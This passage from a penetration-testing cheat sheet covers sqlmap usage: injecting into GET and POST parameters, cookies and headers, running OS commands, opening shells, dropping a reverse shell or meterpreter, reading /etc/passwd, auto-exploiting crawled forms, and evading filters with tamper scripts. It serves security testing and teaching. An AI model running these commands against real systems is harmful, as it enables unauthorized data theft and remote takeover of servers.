-C #Dump column ``` ## Injection place ### From Burp/ZAP capture Capture the request and create a req.txt file ```bash sqlmap -r req.txt --current-user ``` ### GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Injections in Headers and other HTTP Methods ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Indicate string when injection is successful ```bash --string="string_showed_when_TRUE" ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Read File ```bash --file-read=/etc/passwd ``` ### Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Second Order Injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http:///joomla/administrator/index.php" -D "joomla" -dbs ``` \*\*\*\*[**Read this post** ](/githubimport/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** ## Customizing Injection ### Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](/githubimport/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | | base64encode.py | Base64 all characters in a given payload | | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded).
